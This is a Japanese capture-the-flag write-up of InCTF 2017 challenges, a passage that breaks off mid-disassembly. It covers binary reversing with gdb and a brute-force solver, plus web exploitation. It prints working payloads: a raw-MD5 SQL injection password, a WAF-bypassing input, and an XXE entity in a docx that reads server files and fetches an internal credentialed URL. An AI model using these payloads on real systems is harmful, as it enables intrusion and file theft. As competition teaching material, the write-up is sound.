チーム Harekaze で 12 月 16 日から 12 月 17 日にかけて開催された InCTF に参加しました。最終的にチームで 2701 点を獲得し、順位は得点 156 チーム中 5 位でした。うち、私は 10 問を解いて 2200 点を入れました。
以下、解いた問題の write-up です。
Time
というファイルが与えられました。file
でどのようなファイルか調べてみましょう。
$ file ./Time
Time: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped
ARM の ELF のようです。実行してみましょう。
pi@raspberrypi:~/ctf/InCTF 2017/Time $ ./Time
You sucessfully loaded the file :)
Enter your Key
hoge
Flag check failed
逆アセンブルして読んでいくと、以下のような処理を見つけました。
...
0x8528: sub r3, fp, #12
0x852c: ldr r0, [pc, #140] ; 0x85c0 => "%ld"
0x8530: mov r1, r3
0x8534: bl 0x83c8 <__isoc99_scanf>
0x8538: ldr r3, [pc, #132] ; 0x85c4
0x853c: ldr r2, [r3]
0x8540: ldr r3, [pc, #128] ; 0x85c8
0x8544: ldr r3, [r3]
0x8548: rsb r2, r3, r2
0x854c: ldr r3, [r11, #-12]
0x8550: cmp r2, r3
0x8554: bne 0x85ac
0x8558: ldr r0, [pc, #108] ; 0x85cc => "Seems you guessed it."
0x855c: bl 0x838c <puts>
0x8560: ldr r0, [pc, #104] ; 0x85d0 => "Flag is "
0x8564: bl 0x8374 <printf>
...
数値の入力後 cmp r2, r3
で比較しています。gdb でファイルを開いてここにブレークポイントを設定し、set $r3 = $r2
でごまかしてしまいましょう。
$ gdb -n ./Time
(gdb) b *0x8550
Breakpoint 1 at 0x8550
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
> set $r3 = $r2
> c
>end
(gdb) r
You sucessfully loaded the file :)
Enter your Key
hoge
Breakpoint 1, 0x00008550 in ?? ()
Seems you guessed it.
Flag is inctf{Th1s_!s_jUst_th3_B3ginNing}
フラグが得られました。
inctf{Th1s_!s_jUst_th3_B3ginNing}
go_solveMe_200
というファイルが与えられました。file
でどのようなファイルか調べてみましょう。
$ file ./go_solveMe_200
go_solveMe_200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
$ strings -n 10 ./go_solveMe_200
...
sync/atomic.LoadUintptr
sync/atomic.LoadPointer
sync/atomic.StoreUint32
sync/atomic.StoreUint64
sync/atomic.StoreUintptr
/home/d3xt3r/Desktop/Ictf/ques2/go_solveMe(200)/challenge200.go
/usr/lib/go-1.6/src/runtime/alg.go
/usr/lib/go-1.6/src/runtime/atomic_pointer.go
/usr/lib/go-1.6/src/runtime/cgo_mmap.go
/usr/lib/go-1.6/src/runtime/cgocall.go
/usr/lib/go-1.6/src/runtime/cgocheck.go
...
x86_64 の Go で作られた ELF のようです。gdb
でどのようなファイルがあるか調べてみましょう。
gdb-peda$ info functions main
All functions matching regular expression "main":
File go:
void main(void);
void main.badinput(void);
void main.calc(main.Integer, main.Integer, int);
void main.init(void);
void main.main(void);
void main.printflag(main.Integer, [40]int);
void runtime.main(void);
void runtime.main.func1(void);
void runtime.main.func2(bool *);
main.main
を逆アセンブルしてみます。
gdb-peda$ disas 'main.main'
...
0x00000000004012f7 <+759>: cmp rbx,0x98967f
0x00000000004012fe <+766>: jge 0x401307 <main.main+775>
0x0000000000401300 <+768>: call 0x401960 <main.badinput>
0x0000000000401305 <+773>: jmp 0x4012d1 <main.main+721>
0x0000000000401307 <+775>: mov rbx,QWORD PTR [rcx]
0x000000000040130a <+778>: cmp rbx,0x5f5e0ff
0x0000000000401311 <+785>: jle 0x40131a <main.main+794>
0x0000000000401313 <+787>: call 0x401960 <main.badinput>
0x0000000000401318 <+792>: jmp 0x4012d1 <main.main+721>
0x000000000040131a <+794>: mov rcx,QWORD PTR [rcx]
0x000000000040131d <+797>: mov QWORD PTR [rsp],rcx
0x0000000000401321 <+801>: mov rbx,QWORD PTR [rsp+0x148]
0x0000000000401329 <+809>: mov QWORD PTR [rsp+0x8],rbx
0x000000000040132e <+814>: call 0x4013c0 <main.calc>
0x0000000000401333 <+819>: mov rbx,QWORD PTR [rsp+0x10]
0x0000000000401338 <+824>: cmp rbx,0x1
0x000000000040133c <+828>: je 0x401345 <main.main+837>
0x000000000040133e <+830>: call 0x401960 <main.badinput>
0x0000000000401343 <+835>: jmp 0x4012d1 <main.main+721>
0x0000000000401345 <+837>: mov rsi,QWORD PTR [rsp+0x290]
0x000000000040134d <+845>: mov rcx,QWORD PTR [rsi]
0x0000000000401350 <+848>: mov QWORD PTR [rsp],rcx
0x0000000000401354 <+852>: lea rsi,[rsp+0x150]
0x000000000040135c <+860>: lea rdi,[rsp+0x8]
0x0000000000401361 <+865>: call 0x456608 <runtime.duffcopy+616>
0x0000000000401366 <+870>: call 0x401460 <main.printflag>
...
入力した数値が 9999999 以上 99999999 以下であれば main.calc
に投げ、この返り値が 1 でなら main.printflag
でフラグを出力しています。
main.calc
の処理を見てみます。
gdb-peda$ disas 'main.calc'
Dump of assembler code for function main.calc:
0x00000000004013c0 <+0>: mov rdi,QWORD PTR [rsp+0x8]
0x00000000004013c5 <+5>: xor ebx,ebx
0x00000000004013c7 <+7>: xor ebx,ebx
0x00000000004013c9 <+9>: xor ebx,ebx
0x00000000004013cb <+11>: mov rbp,0xf4240
0x00000000004013d2 <+18>: mov rax,rdi
0x00000000004013d5 <+21>: cmp rbp,0xffffffffffffffff
0x00000000004013d9 <+25>: je 0x401449 <main.calc+137>
0x00000000004013db <+27>: cqo
0x00000000004013dd <+29>: idiv rbp
0x00000000004013e0 <+32>: mov rcx,rax
0x00000000004013e3 <+35>: mov rdx,0xa
0x00000000004013ea <+42>: mov rbp,rdx
0x00000000004013ed <+45>: mov rax,rcx
0x00000000004013f0 <+48>: cmp rdx,0xffffffffffffffff
0x00000000004013f4 <+52>: je 0x401445 <main.calc+133>
0x00000000004013f6 <+54>: cqo
0x00000000004013f8 <+56>: idiv rbp
0x00000000004013fb <+59>: mov rax,rdx
0x00000000004013fe <+62>: mov rsi,rax
0x0000000000401401 <+65>: mov rbp,0xa
0x0000000000401408 <+72>: mov rdx,rax
0x000000000040140b <+75>: imul rsi,rbp
0x000000000040140f <+79>: mov rax,rdi
0x0000000000401412 <+82>: cmp rbp,0xffffffffffffffff
0x0000000000401416 <+86>: je 0x401441 <main.calc+129>
0x0000000000401418 <+88>: cqo
0x000000000040141a <+90>: idiv rbp
0x000000000040141d <+93>: mov rax,rdx
0x0000000000401420 <+96>: mov rbp,QWORD PTR [rsp+0x10]
0x0000000000401425 <+101>: mov rbx,rsi
0x0000000000401428 <+104>: add rbx,rax
0x000000000040142b <+107>: cmp rbx,rbp
0x000000000040142e <+110>: jne 0x40143d <main.calc+125>
0x0000000000401430 <+112>: mov rax,0x1
0x0000000000401437 <+119>: mov QWORD PTR [rsp+0x18],rax
0x000000000040143c <+124>: ret
0x000000000040143d <+125>: xor eax,eax
0x000000000040143f <+127>: jmp 0x401437 <main.calc+119>
0x0000000000401441 <+129>: xor eax,eax
0x0000000000401443 <+131>: jmp 0x401420 <main.calc+96>
0x0000000000401445 <+133>: xor eax,eax
0x0000000000401447 <+135>: jmp 0x4013fe <main.calc+62>
0x0000000000401449 <+137>: neg rax
0x000000000040144c <+140>: mov rcx,rax
0x000000000040144f <+143>: jmp 0x4013e3 <main.calc+35>
ソルバを書いてみます。mov rbp,QWORD PTR [rsp+0x10]
や mov QWORD PTR [rsp+0x18],rax
のような部分を少しいじって、命令列を大体そのまま使います。
#include <stdio.h>
int main(void) {
long long i;
char calc[] = "\x55\x48\x89\xE5\x31\xDB\x31\xDB\x31\xDB\x48\xC7\xC5\x40\x42\x0F\x00\x48\x89\xF8\x48\x83\xFD\xFF\x74\x6E\x48\x99\x48\xF7\xFD\x48\x89\xC1\x48\xC7\xC2\x0A\x00\x00\x00\x48\x89\xD5\x48\x89\xC8\x48\x83\xFA\xFF\x74\x4F\x48\x99\x48\xF7\xFD\x48\x89\xD0\x48\x89\xC6\x48\xC7\xC5\x0A\x00\x00\x00\x48\x89\xC2\x48\x0F\xAF\xF5\x48\x89\xF8\x48\x83\xFD\xFF\x74\x29\x48\x99\x48\xF7\xFD\x48\x89\xD0\xBD\x26\x00\x00\x00\x48\x89\xF3\x48\x01\xC3\x48\x39\xEB\x75\x0D\x48\xC7\xC0\x01\x00\x00\x00\x90\x90\x90\x90\x5D\xC3\x31\xC0\xEB\xF6\x31\xC0\xEB\xDB\x31\xC0\xEB\xB5\x48\xF7\xD8\x48\x89\xC1\xEB\x92";
for (i = 0x98967f; i <= 0x5f5e0ff; i++) {
if (((long long (*)(long long)) calc)(i)) {
printf("%lld\n", i);
break;
}
}
return 0;
}
$ gcc -z execstack -o solve solve.c
$ ./solve
13000008
$ ./go_solveMe_200
Enter Input:
13000008
Congratulations!!
Flag: inctf{tH3_h|Gh3r_y@U_Cl|mB_tH3_Be??eR_Th3_v|3w}
フラグが得られました。
inctf{tH3_h|Gh3r_y@U_Cl|mB_tH3_Be??eR_Th3_v|3w}
与えられた URL にアクセスすると、ログインフォームが表示されました。Forgot Password?
という /source.txt
へのリンクがあったのでアクセスしてみると、以下のようにソースコードが得られました。
<?php
if($_POST[id] && $_POST[pw])
{
$input_id=$_POST[id];
$input_pw=md5($_POST[pw],fa1se);
$q=@mysql_fetch_array(mysql_query("select id from inctf where id='$input_id' and pw='$input_pw'"));
if($q[id]=="admin")
{
echo .$Flag."<br>";
}
if($q[id]!="admin")
{
echo("<center><font color=green><h1>Wrong</h1></font></center>");
}
}
入力したパスワードが MD5 でハッシュ化されて SQL 文につっこまれています。
見た感じ何もできなさそうですが、よく見ると md5
の第二引数に fa1se
(未定義の定数なので文字列の 'fa1se'
として評価される) が渡っており、この返り値はバイナリ形式になることが分かります。
SQL injection with raw MD5 hashes (Leet More CTF 2010 injection 300) - Christian von Kleist を参考にユーザ名に admin
、パスワードに 129581926211651571912466741651878684928
を入力するとフラグが得られました。
inctf{Y0u_C4n_N3v3r_F1nd_7h1s_Fl4g}
与えられた URL にアクセスしたものの…何も情報が得られません。
m—/webf**k を回すと /.hg/
が見つかりました。
kost/dvcs-ripper を使って rip-hg.pl -u http://liar.inctf.in/.hg/
でダウンロードすることができました。どういうファイルがあるか調べてみます。
$ hg status
! .hgignore
! 1ts_h4rd_t0_gu3ss/index.html
! 1ts_h4rd_t0_gu3ss/vulnerable.php
1ts_h4rd_t0_gu3ss
というディレクトリが存在することが分かりました。アクセスしてみると、以下のようなフォームが表示されました。
<html>
<head>
<title>Global Search</title>
<script src='https://www.google.com/recaptcha/api.js'></script>
</head>
<body>
Find Your Friends<br>
<form name="myform" method="post" action="vulnerable.php">
<textarea type="text" rows="3" cols="30" name="name" id="name"></textarea>
<br><br>
<div class="g-recaptcha" data-sitekey="6LegjzwUAAAAAGkjkxPtgdfuVxPAxKY97He543nR"></div>
<input type="submit"></input>
</form>
<!--Could You beat our security!!!--!>
<!--Can you find the phone number of my friend, I guess it is stored in some table, I think it is in phone column--!>
</body>
</html>
SQLi ができそうな雰囲気があります。' or 1;#
を入力すると You cant attack us, you cant break us
と表示されました。また、select
や union
が含まれる文字列を入力すると Our WAF detected an attack!!!
と表示されました。
Can you find the phone number of my friend, I guess it is stored in some table, I think it is in phone column
というヒントから '^phone^'
を入力してみるとフラグが得られました。
<table border="1" style="width:100%"><tr><td>Gu3$$1NG_n0t_ALL0w3d_91324954</td><tr><td>InCTF flag</td><tr><td>inctf{H0w_@b0Ut_@n_r3@L_1nJ3c}</td></tr></table>
inctf{H0w_@b0Ut_@n_r3@L_1nJ3c}
与えられた URL にアクセスすると、docx ファイルをアップロードできるフォームが表示されました。
/robots.txt
にアクセスすると、以下のように表示されました。
# Files
Disallow: /getme.php
/getme.php
にアクセスしてみたものの、何も表示されません。どうやらこの内容を読む必要があるようです。
アップローダーからサンプルの sample.docx
をそのままアップロードしてみると、以下のように表示されました。
Info
File is Parsed!!
Created by : 'Team bi0s'
どうやら docsProps/core.xml
の dc:creator
の内容を見ているようです。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>Try asdf!</dc:title><dc:subject></dc:subject><dc:creator>Team bi0s</dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy></cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified></cp:coreProperties>
XML といえば XXE です。
docsProps/core.xml
を以下のように変えてアップロードしてみると getme.php
の内容が得られました。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE x [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/getme.php">
] >
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>Try asdf!</dc:title><dc:subject></dc:subject><dc:creator>&xxe;</dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy></cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified></cp:coreProperties>
<h2>Info</h2><h3>File is Parsed!!</h3><h3>Created by : 'PD9waHAKCglpbmNsdWRlKCdmbGFnLnBocCcpOwogICAgICAgICRvYmogPSAkX0dFVFsnb2JqJ107CiAgICAgICAgJHVuc2VyaWFsaXplZF9vYmogPSB1bnNlcmlhbGl6ZSgkb2JqKTsKICAgICAgICAkdW5zZXJpYWxpemVkX29iai0+ZmxhZyA9ICRmbGFnOwogICAgICAgIGlmIChoYXNoX2VxdWFscyAoJHVuc2VyaWFsaXplZF9vYmotPmlucHV0LCAkdW5zZXJpYWxpemVkX29iai0+ZmxhZykpewogICAgICAgICAgICAgICAgcHJpbnQgZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9hZG1pbjphZG1pbkAxOTIuMTY4LjMwLjEwNi9mbGFnLnBocCcpOwogICAgICAgIH0KICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgZWNobyAiQmV0dGVyIEx1Y2sgbmV4dCB0aW1lISEiOwogICAgICAgIH0KCj8+Cg==' </h3><br/>
<?php
include('flag.php');
$obj = $_GET['obj'];
$unserialized_obj = unserialize($obj);
$unserialized_obj->flag = $flag;
if (hash_equals ($unserialized_obj->input, $unserialized_obj->flag)){
print file_get_contents('http://admin:admin@192.168.30.106/flag.php');
}
else{
echo "Better Luck next time!!";
}
?>
<!ENTITY xxe SYSTEM "http://admin:admin@192.168.30.106/flag.php">
に変えてアップロードするとフラグが得られました。
inctf{Xm1_l0v3s_Xx3_xX3_l0v3s_ssrF}
与えられた URL にアクセスしてみたものの、何も表示されません。
/robots.txt
にアクセスすると以下のように表示されました。
User-agent: *
Disallow: /cgi-bin
Disallow: /zxcv
/zxcv/
にアクセスすると、以下のようなファイルがありました。
index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css">
<script crossorigin="anonymous" integrity="sha256-ivk71nXhz9nsyFDoYoGf2sbjrR9ddh+XDkCcfZxjvcM= sha512-7aMbXH03HUs6zO1R+pLyekF1FTF89Deq4JpHw6zIo2vbtaXnDw+/2C03Je30WFDd6MpSwg+aLW4Di46qzu488Q==" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script src="unicorn.js"></script>
<style>
...
</style>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js"></script>
</head>
<body>
<div class="login">
<h1>Login</h1>
<form action="" method="post">
<input type="text" name="cuser" placeholder="Username" id="cuser" required="required" />
<input type="password" name="cpass" placeholder="Password" id="cpass" required="required" />
<button name="submit" type="submit" class="btn btn-primary btn-block btn-large" id="c_submit">Login</button>
</form>
<script src="script.js"></script>
</body>
</html>
script.js
var _0x9c2f=['PROT_ALL','location','href','indexOf','/../','.html','Wrong\x20credentials,\x20sorry','#c_submit','click','preventDefault','#cuser','val','slice','split','reverse','map','charCodeAt','toString','join','#cpass','reg_write_i32','X86_REG_EAX','X86_REG_ECX','X86_REG_EDX','mem_map','emu_start','length','reg_read_i32','ARCH_X86','MODE_32','X86_REG_ESI','X86_REG_EBX','X86_REG_EBP'];(function(a,c){var b=function(b){while(--b){a['push'](a['shift']());}};b(++c);}(_0x9c2f,0x193));var _0xf9c2=function(a,c){a=a-0x0;var b=_0x9c2f[a];return b;};$(_0xf9c2('0x0'))[_0xf9c2('0x1')](function(r){r[_0xf9c2('0x2')]();var h=$(_0xf9c2('0x3'))[_0xf9c2('0x4')]();var n=h[_0xf9c2('0x5')](0x0,0x4);n=n[_0xf9c2('0x6')]('')[_0xf9c2('0x7')]()['join']('');n='0x'+n['split']('')[_0xf9c2('0x8')](_0x29995c=>_0x29995c[_0xf9c2('0x9')](0x0)[_0xf9c2('0xa')](0x10))[_0xf9c2('0xb')]('');var m=h[_0xf9c2('0x5')](0x4,0x8);m=m[_0xf9c2('0x6')]('')[_0xf9c2('0x7')]()[_0xf9c2('0xb')]('');m='0x'+m[_0xf9c2('0x6')]('')[_0xf9c2('0x8')](_0x1c7b1c=>_0x1c7b1c['charCodeAt'](0x0)[_0xf9c2('0xa')](0x10))[_0xf9c2('0xb')]('');var f=h[_0xf9c2('0x5')](0x8,0xc);f=f[_0xf9c2('0x6')]('')[_0xf9c2('0x7')]()[_0xf9c2('0xb')]('');f='0x'+f[_0xf9c2('0x6')]('')[_0xf9c2('0x8')](_0x41acdb=>_0x41acdb[_0xf9c2('0x9')](0x0)['toString'](0x10))[_0xf9c2('0xb')]('');var j=h[_0xf9c2('0x5')](0xc,0x10);j=j[_0xf9c2('0x6')]('')['reverse']()[_0xf9c2('0xb')]('');j='0x'+j[_0xf9c2('0x6')]('')[_0xf9c2('0x8')](_0x4186f9=>_0x4186f9[_0xf9c2('0x9')](0x0)[_0xf9c2('0xa')](0x10))[_0xf9c2('0xb')]('');var g=h[_0xf9c2('0x5')](0x10,0x13);g=g[_0xf9c2('0x6')]('')['reverse']()[_0xf9c2('0xb')]('');g='0x'+g['split']('')[_0xf9c2('0x8')](_0x515f47=>_0x515f47[_0xf9c2('0x9')](0x0)['toString'](0x10))[_0xf9c2('0xb')]('');var c=$(_0xf9c2('0xc'))[_0xf9c2('0x4')]();var o=c[_0xf9c2('0x5')](0x0,0x4);o=o['split']('')[_0xf9c2('0x7')]()['join']('');o='0x'+o[_0xf9c2('0x6')]('')['map'](_0x12efcf=>_0x12efcf['charCodeAt'](0x0)[_0xf9c2('0xa')](0x10))[_0xf9c2('0xb')]('');var i=c['slice'](0x4,0x8);i=i['split']('')[_0xf9c2('0x7')]()[_0xf9c2('0xb')]('');i='0x'+i['split']('')[_0xf9c2('0x8')](_0x3b0ae1=>_0x3b0ae1[_0xf9c2('0x9')](0x0)['toString'](0x10))[_0xf9c2('0xb')]('');var e=c[_0xf9c2('0x5')](0x8,0xc);e=e[_0xf9c2('0x6')]('')[_0xf9c2('0x7')]()['join']('');e='0x'+e['split']('')[_0xf9c2('0x8')](_0x40d2e3=>_0x40d2e3['charCodeAt'](0x0)['toString'](0x10))[_0xf9c2('0xb')]('');var k=c[_0xf9c2('0x5')](0xc,0x10);k=k[_0xf9c2('0x6')]('')[_0xf9c2('0x7')]()['join']('');k='0x'+k[_0xf9c2('0x6')]('')[_0xf9c2('0x8')](_0x71ef00=>_0x71ef00[_0xf9c2('0x9')](0x0)[_0xf9c2('0xa')](0x10))[_0xf9c2('0xb')]('');var l=c[_0xf9c2('0x5')](0x10,0x13);l=l[_0xf9c2('0x6')]('')[_0xf9c2('0x7')]()[_0xf9c2('0xb')]('');l='0x'+l[_0xf9c2('0x6')]('')[_0xf9c2('0x8')](_0x335224=>_0x335224[_0xf9c2('0x9')](0x0)[_0xf9c2('0xa')](0x10))['join']('');var a=new uc['Unicorn'](uc['ARCH_X86'],uc['MODE_32']);var b=0x8048000;var d=[0xbf,0x69,0x61,0x6d,0x74,0x39,0xf8,0x75,0x2b,0xbf,0x68,0x65,0x61,0x64,0x39,0xfb,0x75,0x22,0xbf,0x6d,0x69,0x6e,0x69,0x39,0xf9,0x75,0x19,0xbf,0x73,0x74,0x72,0x61,0x39,0xfa,0x75,0x10,0xbf,0x74,0x6f,0x72,0x0,0x39,0xfe,0x75,0x7,0xb8,0x1,0x0,0x0,0x0,0xeb,0x5,0xb8,0x0,0x0,0x0,0x0];a[_0xf9c2('0xd')](uc[_0xf9c2('0xe')],n);a[_0xf9c2('0xd')](uc['X86_REG_EBX'],m);a[_0xf9c2('0xd')](uc[_0xf9c2('0xf')],f);a[_0xf9c2('0xd')](uc[_0xf9c2('0x10')],j);a[_0xf9c2('0xd')](uc['X86_REG_ESI'],g);a[_0xf9c2('0x11')](b,0x1000,uc['PROT_ALL']);a['mem_write'](b,d);a[_0xf9c2('0x12')](b,b+d[_0xf9c2('0x13')]);var p=a[_0xf9c2('0x14')](uc[_0xf9c2('0xe')]);if(p){var a=new uc['Unicorn'](uc[_0xf9c2('0x15')],uc[_0xf9c2('0x16')]);var b=0x8048000;var d=[0x81,0xc6,0x69,0x61,0x6d,0x74,0x81,0xc6,0x7,0x6,0x5,0x4,0x81,0xfe,0xd3,0xd6,0xe0,0xdf,0x75,0x55,0x40,0x81,0xc3,0x68,0x65,0x61,0x64,0x81,0xc3,0x3,0x2,0x1,0x0,0x81,0xfb,0xdd,0xdb,0xdc,0x98,0x75,0x40,0x40,0x81,0xc1,0x6d,0x69,0x6e,0x69,0x81,0xc1,0xf,0xe,0xd,0xc,0x81,0xf9,0xf0,0xdf,0xe0,0xe5,0x75,0x2b,0x40,0x81,0xc2,0x73,0x74,0x72,0x61,0x81,0xc2,0xb,0xa,0x9,0x8,0x81,0xfa,0xdf,0xf1,0x9f,0xe0,0x75,0x16,0x40,0x81,0xc5,0x74,0x6f,0x72,0x0,0x81,0xc5,0x17,0x16,0x15,0x0,0x81,0xfd,0xbb,0xf7,0xcb,0x0,0x75,0x1,0x40];a[_0xf9c2('0xd')](uc[_0xf9c2('0x17')],o);a[_0xf9c2('0xd')](uc[_0xf9c2('0x18')],i);a[_0xf9c2('0xd')](uc[_0xf9c2('0xf')],e);a[_0xf9c2('0xd')](uc[_0xf9c2('0x10')],k);a[_0xf9c2('0xd')](uc[_0xf9c2('0x19')],l);a[_0xf9c2('0x11')](b,0x1000,uc[_0xf9c2('0x1a')]);a['mem_write'](b,d);a[_0xf9c2('0x12')](b,b+d[_0xf9c2('0x13')]);var q=a[_0xf9c2('0x14')](uc['X86_REG_EAX']);if(q==0x5){if(document[_0xf9c2('0x1b')][_0xf9c2('0x1c')][_0xf9c2('0x1d')]('?p=')==-0x1){document['location']=document[_0xf9c2('0x1b')]+_0xf9c2('0x1e')+c+_0xf9c2('0x1f');}}else{alert(_0xf9c2('0x20'));}}else{alert(_0xf9c2('0x20'));}});
script.js
の難読化を解除してみると、以下のようになりました。
$('#c_submit').click(function(r) {
r.preventDefault();
var h = $('#cuser').val();
var n = h.slice(0x0, 0x4);
n = n.split('').reverse().join('');
n = '0x' + n.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
var m = h.slice(0x4, 0x8);
m = m.split('').reverse().join('');
m = '0x' + m.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
var f = h.slice(0x8, 0xc);
f = f.split('').reverse().join('');
f = '0x' + f.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
var j = h.slice(0xc, 0x10);
j = j.split('').reverse().join('');
j = '0x' + j.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
var g = h.slice(0x10, 0x13);
g = g.split('').reverse().join('');
g = '0x' + g.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
var c = $('#cpass').val();
var o = c.slice(0x0, 0x4);
o = o.split('').reverse().join('');
o = '0x' + o.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
var i = c.slice(0x4, 0x8);
i = i.split('').reverse().join('');
i = '0x' + i.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
var e = c.slice(0x8, 0xc);
e = e.split('').reverse().join('');
e = '0x' + e.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
var k = c.slice(0xc, 0x10);
k = k.split('').reverse().join('');
k = '0x' + k.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
var l = c.slice(0x10, 0x13);
l = l.split('').reverse().join('');
l = '0x' + l.split('').map(c => c.charCodeAt(0x0).toString(0x10)).join('');
var a = new uc.Unicorn(uc.ARCH_X86, uc.MODE_32);
var b = 0x8048000;
var d = [0xbf, 0x69, 0x61, 0x6d, 0x74, 0x39, 0xf8, 0x75, 0x2b, 0xbf, 0x68, 0x65, 0x61, 0x64, 0x39, 0xfb, 0x75, 0x22, 0xbf, 0x6d, 0x69, 0x6e, 0x69, 0x39, 0xf9, 0x75, 0x19, 0xbf, 0x73, 0x74, 0x72, 0x61, 0x39, 0xfa, 0x75, 0x10, 0xbf, 0x74, 0x6f, 0x72, 0x0, 0x39, 0xfe, 0x75, 0x7, 0xb8, 0x1, 0x0, 0x0, 0x0, 0xeb, 0x5, 0xb8, 0x0, 0x0, 0x0, 0x0];
a.reg_write_i32(uc.X86_REG_EAX, n);
a.reg_write_i32(uc.X86_REG_EBX, m);
a.reg_write_i32(uc.X86_REG_ECX, f);
a.reg_write_i32(uc.X86_REG_EDX, j);
a.reg_write_i32(uc.X86_REG_ESI, g);
a.mem_map(b, 0x1000, uc.PROT_ALL);
a.mem_write(b, d);
a.emu_start(b, b + d.length);
var p = a.reg_read_i32(uc.X86_REG_EAX);
if (p) {
var a = new uc.Unicorn(uc.ARCH_X86, uc.MODE_32);
var b = 0x8048000;
var d = [0x81, 0xc6, 0x69, 0x61, 0x6d, 0x74, 0x81, 0xc6, 0x7, 0x6, 0x5, 0x4, 0x81, 0xfe, 0xd3, 0xd6, 0xe0, 0xdf, 0x75, 0x55, 0x40, 0x81, 0xc3, 0x68, 0x65, 0x61, 0x64, 0x81, 0xc3, 0x3, 0x2, 0x1, 0x0, 0x81, 0xfb, 0xdd, 0xdb, 0xdc, 0x98, 0x75, 0x40, 0x40, 0x81, 0xc1, 0x6d, 0x69, 0x6e, 0x69, 0x81, 0xc1, 0xf, 0xe, 0xd, 0xc, 0x81, 0xf9, 0xf0, 0xdf, 0xe0, 0xe5, 0x75, 0x2b, 0x40, 0x81, 0xc2, 0x73, 0x74, 0x72, 0x61, 0x81, 0xc2, 0xb, 0xa, 0x9, 0x8, 0x81, 0xfa, 0xdf, 0xf1, 0x9f, 0xe0, 0x75, 0x16, 0x40, 0x81, 0xc5, 0x74, 0x6f, 0x72, 0x0, 0x81, 0xc5, 0x17, 0x16, 0x15, 0x0, 0x81, 0xfd, 0xbb, 0xf7, 0xcb, 0x0, 0x75, 0x1, 0x40];
a.reg_write_i32(uc.X86_REG_ESI, o);
a.reg_write_i32(uc.X86_REG_EBX, i);
a.reg_write_i32(uc.X86_REG_ECX, e);
a.reg_write_i32(uc.X86_REG_EDX, k);
a.reg_write_i32(uc.X86_REG_EBP, l);
a.mem_map(b, 0x1000, uc.PROT_ALL);
a.mem_write(b, d);
a.emu_start(b, b + d.length);
var q = a.reg_read_i32(uc.X86_REG_EAX);
if (q == 0x5) {
if (document.location.href.indexOf('?p=') == -0x1) {
document.location = document.location + '/../' + c + '.html';
}
} else {
alert('Wrong credentials, sorry');
}
} else {
alert('Wrong credentials, sorry');
}
});
入力したユーザ名とパスワードをどちらも 4 文字ずつ分けて数値に変換し、eax
ebx
ecx
edx
esi
の順番で格納しています。その後、それぞれに用意された x86 の命令列でチェックしています。
まずユーザ名の方を逆アセンブルしてみます。
0: bf 69 61 6d 74 mov edi,0x746d6169
5: 39 f8 cmp eax,edi
7: 75 2b jne 0x34
9: bf 68 65 61 64 mov edi,0x64616568
e: 39 fb cmp ebx,edi
10: 75 22 jne 0x34
12: bf 6d 69 6e 69 mov edi,0x696e696d
17: 39 f9 cmp ecx,edi
19: 75 19 jne 0x34
1b: bf 73 74 72 61 mov edi,0x61727473
20: 39 fa cmp edx,edi
22: 75 10 jne 0x34
24: bf 74 6f 72 00 mov edi,0x726f74
29: 39 fe cmp esi,edi
2b: 75 07 jne 0x34
2d: b8 01 00 00 00 mov eax,0x1
32: eb 05 jmp 0x39
34: b8 00 00 00 00 mov eax,0x0
そのままです。ユーザ名は iamtheadministrator
であることが分かりました。
パスワードの方も逆アセンブルしてみます。
0: 81 c6 69 61 6d 74 add esi,0x746d6169
6: 81 c6 07 06 05 04 add esi,0x4050607
c: 81 fe d3 d6 e0 df cmp esi,0xdfe0d6d3
12: 75 55 jne 0x69
14: 40 inc eax
15: 81 c3 68 65 61 64 add ebx,0x64616568
1b: 81 c3 03 02 01 00 add ebx,0x10203
21: 81 fb dd db dc 98 cmp ebx,0x98dcdbdd
27: 75 40 jne 0x69
29: 40 inc eax
